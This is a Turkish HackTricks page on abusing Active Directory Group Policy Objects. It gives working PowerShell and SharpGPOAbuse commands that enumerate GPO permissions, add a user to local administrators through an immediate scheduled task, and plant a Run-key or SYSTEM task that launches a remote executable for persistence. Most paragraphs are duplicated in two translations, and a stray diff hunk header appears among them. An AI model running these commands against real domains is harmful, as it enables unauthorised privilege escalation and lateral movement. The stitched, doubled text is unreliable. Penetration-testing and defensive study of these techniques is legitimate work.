Grup İlkesi Nesnelerini (GPO'lar) yönetmek için yetkilendirilmiş erişim, önemli güvenlik riskleri oluşturabilir. Örneğin, `offense\spotless` gibi bir kullanıcıya GPO yönetimi hakları verilirse, **WriteProperty**, **WriteDacl** ve **WriteOwner** gibi ayrıcalıklara sahip olabilir. Bu izinler kötü amaçlı amaçlar için kötüye kullanılabilir ve PowerView kullanılarak tespit edilebilir:
```bash
Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
```
Grup İlkesi Nesnelerini (GPO'lar) yönetmek için yetkilendirilmiş erişim önemli güvenlik riskleri oluşturabilir. Örneğin, `offense\spotless` gibi bir kullanıcıya GPO yönetim hakları verilmişse, **WriteProperty**, **WriteDacl** ve **WriteOwner** gibi ayrıcalıklara sahip olabilirler. Bu izinler kötü niyetli amaçlar için kötüye kullanılabilir, PowerView kullanılarak tespit edilebilir: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
### GPO İzinlerini Sıralama
Yanlış yapılandırılmış GPO'ları belirlemek için PowerSploit'in cmdlet'leri birleştirilebilir. Bu, belirli bir kullanıcının yönetme izinlerine sahip olduğu GPO'ların keşfedilmesini sağlar:
```powershell
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
```
Yanlış yapılandırılmış GPO'ları tanımlamak için PowerSploit'in cmdlet'leri bir araya getirilebilir. Bu, belirli bir kullanıcının yönetme izinlerine sahip olduğu GPO'ların keşfedilmesine olanak tanır: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
**Belirli Bir Politikayı Uygulayan Bilgisayarlar**: Belirli bir GPO'nun hangi bilgisayarlara uygulandığını belirlemek, potansiyel etki alanının kapsamını anlamaya yardımcı olabilir.
```powershell
Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}
```
**Belirli Bir Politikanın Uygulandığı Bilgisayarlar**: Belirli bir GPO'nun hangi bilgisayarlara uygulandığını çözmek mümkündür, potansiyel etki alanının kapsamını anlamaya yardımcı olur. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
**Belirli Bir Bilgisayara Uygulanan Politikalar**: Belirli bir bilgisayara uygulanan politikaları görmek için `Get-DomainGPO` gibi komutlar kullanılabilir.
**Belirli Bir Politikaya Uygulanan OU'lar**: Belirli bir politikadan etkilenen organizasyon birimlerini (OU'lar) belirlemek için `Get-DomainOU` kullanılabilir.
**Belirli Bir Politikaya Uygulanan OU'lar**: Belirli bir politika tarafından etkilenen organizasyon birimlerini (OU'lar) tanımlamak için `Get-DomainOU` kullanılabilir.
### GPO Kötüye Kullanımı - New-GPOImmediateTask
Yanlış yapılandırılmış GPO'lar, örneğin hemen planlanmış bir görev oluşturarak kodu yürütmek için kötüye kullanılabilir. Bu, etkilenen makinelerdeki yerel yöneticiler grubuna bir kullanıcı eklemek için yapılabilir ve ayrıcalıkları önemli ölçüde yükseltebilir:
Yanlış yapılandırılmış GPO'lar, örneğin, hemen planlanmış bir görev oluşturarak kodu yürütmek için kötüye kullanılabilir. Bu, etkilenen makinelerde bir kullanıcıyı yerel yöneticiler grubuna eklemek gibi ayrıcalıkları önemli ölçüde yükseltebilir:
```powershell
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
```
### GroupPolicy modülü - GPO Kötüye Kullanımı
GroupPolicy modülü, yüklendiğinde yeni GPO'ların oluşturulmasına ve bağlanmasına olanak tanır ve etkilenen bilgisayarlarda geri kapıları çalıştırmak için kayıt defteri değerlerinin ayarlanmasını sağlar. Bu yöntem, GPO'nun güncellenmesini ve bir kullanıcının bilgisayara oturum açmasını gerektirir.
GroupPolicy modülü, yüklendiği takdirde yeni GPO'ların oluşturulması ve bağlanması, etkilenen bilgisayarlarda arka kapıları yürütmek için kayıt defteri değerlerinin ayarlanması gibi tercihlerin yapılmasına olanak tanır. Bu yöntem, GPO'nun güncellenmesini ve yürütme için bir kullanıcının bilgisayara giriş yapmasını gerektirir:
```powershell
New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
```
### SharpGPOAbuse - GPO Kötüye Kullanımı
### SharpGPOAbuse - GPO'ları Kötüye Kullanma
SharpGPOAbuse, mevcut GPO'ları kötüye kullanmak için görevler eklemeyi veya ayarları değiştirmeyi sağlayan bir yöntem sunar. Bu araç, değişiklikler uygulanmadan önce mevcut GPO'ları değiştirmeyi veya yeni GPO'lar oluşturmak için RSAT araçlarını kullanmayı gerektirir:
SharpGPOAbuse, mevcut GPO'ları kötüye kullanma yöntemi sunar, yeni GPO'lar oluşturmadan görevler ekleyerek veya ayarları değiştirerek. Bu araç, değişiklikler uygulanmadan önce mevcut GPO'ların değiştirilmesini veya yeni GPO'ların oluşturulmasını gerektirir:
```bash
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"
```
### Zorla Politika Güncellemesi
### Politika Güncellemesini Zorla
GPO güncellemeleri genellikle yaklaşık 90 dakikada bir gerçekleşir. Bu süreci hızlandırmak için, özellikle bir değişiklik uyguladıktan sonra, hedef bilgisayarda `gpupdate /force` komutu kullanılabilir. Bu komut, GPO'lara yapılan herhangi bir değişikliğin otomatik güncelleme döngüsünü beklemeksizin uygulanmasını sağlar.
GPO güncellemeleri genellikle her 90 dakikada bir gerçekleşir. Bu süreci hızlandırmak için, özellikle bir değişiklik uyguladıktan sonra hedef bilgisayarda hemen bir politika güncellemesi zorlamak için `gpupdate /force` komutu kullanılabilir. Bu komut, GPO'lara yapılan herhangi bir değişikliğin otomatik güncelleme döngüsünü beklemeksizin uygulandığından emin olur.
### İçerik
### Detaylar
Belirli bir GPO için Zamanlanmış Görevlerin incelenmesi, `Hatalı Yapılandırılmış Politika` gibi, `evilTask` gibi görevlerin eklenmesinin doğrulanmasını sağlar. Bu görevler, sistem davranışını değiştirmeyi veya ayrıcalıkları yükseltmeyi amaçlayan komut dosyaları veya komut satırı araçları aracılığıyla oluşturulur.
Belirli bir GPO için Zamanlanmış Görevler incelendiğinde, `Hatalı Yapılandırılmış Politika` gibi, `evilTask` gibi görevlerin eklenmiş olabileceği doğrulanabilir. Bu görevler, sistem davranışını değiştirmeyi veya ayrıcalıkları yükseltmeyi amaçlayan betikler veya komut satırı araçları aracılığıyla oluşturulur.
`New-GPOImmediateTask` tarafından oluşturulan XML yapılandırma dosyasında görevin yapısı, yürütülecek komutu ve tetikleyicilerini belirtir. Bu dosya, zamanlanmış görevlerin GPO'lar içinde nasıl tanımlandığını ve yönetildiğini temsil eder ve politika uygulamasının bir parçası olarak keyfi komutların veya komut dosyalarının yürütülmesi için bir yöntem sağlar.
`New-GPOImmediateTask` tarafından oluşturulan XML yapılandırma dosyasında görevin yapısı, zamanlanmış görevin ayrıntılarını - yürütülecek komutu ve tetikleyicilerini - belirtir. Bu dosya, zamanlanmış görevlerin GPO'lar içinde nasıl tanımlandığını ve yönetildiğini temsil eder, politika uygulamasının bir parçası olarak keyfi komutların veya betiklerin yürütülmesi için bir yöntem sağlar.
### Kullanıcılar ve Gruplar
GPO'lar ayrıca hedef sistemlerde kullanıcı ve grup üyeliklerinin manipülasyonuna izin verir. Saldırganlar, GPO yönetim izinlerinin devredilmesi yoluyla, kullanıcıları ayrıcalıklı gruplara, örneğin yerel `yöneticiler` grubuna ekleyebilir. Bu, politika dosyalarının değiştirilmesine izin veren GPO yönetim izinlerinin devredilmesiyle mümkündür.
GPO'lar ayrıca hedef sistemlerde kullanıcı ve grup üyeliklerinin manipülasyonuna izin verir. Saldırganlar, Kullanıcılar ve Gruplar politika dosyalarını doğrudan düzenleyerek, yeni kullanıcıları yerel `yöneticiler` grubu gibi ayrıcalıklı gruplara ekleyebilir. Bu, GPO yönetim izinlerinin devredilmesi yoluyla mümkündür, bu da politika dosyalarının değiştirilmesine ve yeni kullanıcıların eklenmesine veya grup üyeliklerinin değiştirilmesine izin verir.
Kullanıcılar ve Gruplar için XML yapılandırma dosyası, bu değişikliklerin nasıl uygulandığını belirtir. Bu dosyaya girişler ekleyerek, belirli kullanıcılara etkilenen sistemlerde yükseltilmiş ayrıcalıklar verilebilir. Bu yöntem, GPO manipülasyonu aracılığıyla doğrudan ayrıcalık yükseltme için bir yaklaşım sunar.
Kullanıcılar ve Gruplar için XML yapılandırma dosyası, bu değişikliklerin nasıl uygulandığını ıklar. Bu dosyaya girişler ekleyerek, belirli kullanıcılara etkilenen sistemlerde yükseltilmiş ayrıcalıklar verilebilir. Bu yöntem, GPO manipülasyonu aracılığıyla ayrıcalık yükseltme için doğrudan bir yaklaşım sunar.
Ayrıca, logon/logoff komut dosyalarını kullanma, otomatik çalıştırmalar için kayıt defteri anahtarlarını değiştirme, .msi dosyaları aracılığıyla yazılım yükleme veya hizmet yapılandırmalarını düzenleme gibi kodu yürütme veya kalıcılığı sürdürme için ek yöntemler de düşünülebilir. Bu teknikler, GPO'ların kötüye kullanımı yoluyla erişimi sürdürme ve hedef sistemleri kontrol etme için çeşitli olanaklar sunar.
Ayrıca, oturum açma/oturumu kapatma betiklerinden yararlanma, otomatik çalıştırmalar için kayıt defteri anahtarlarını değiştirme, .msi dosyaları aracılığıyla yazılım yükleme veya hizmet yapılandırmalarını düzenleme gibi kod yürütme veya kalıcılığı sürdürme için ek yöntemler de düşünülebilir. Bu teknikler, GPO'ların kötüye kullanımıyla erişimi sürdürme ve hedef sistemleri kontrol etme için çeşitli olanaklar sunar.
## Referanslar
@ -190,23 +183,16 @@ Ayrıca, logon/logoff komut dosyalarını kullanma, otomatik çalıştırmalar i
* [https://adsecurity.org/?p=3658](https://adsecurity.org/?p=3658)
* [https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System\_DirectoryServices\_ActiveDirectoryAccessRule\_\_ctor\_System\_Security\_Principal\_IdentityReference\_System\_DirectoryServices\_ActiveDirectoryRights\_System\_Security\_AccessControl\_AccessControlType\_](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System\_DirectoryServices\_ActiveDirectoryAccessRule\_\_ctor\_System\_Security\_Principal\_IdentityReference\_System\_DirectoryServices\_ActiveDirectoryRights\_System\_Security\_AccessControl\_AccessControlType\_)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
En önemli güvenlik açıklarını bulun ve daha hızlı düzeltin. Intruder saldırı yüzeyinizi takip eder, proaktif tehdit taramaları yapar, API'lerden web uygulamalarına ve bulut sistemlerine kadar tüm teknoloji yığınınızda sorunları bulur. [**Ücretsiz deneyin**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) bugün.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</summary>
HackTricks'i desteklemenin diğer yolları:
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklam vermek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da takip edin 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live).
* Hacking hilelerinizi göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek **hacking hilelerinizi paylaşın**.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzdaki özel [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.**
</details>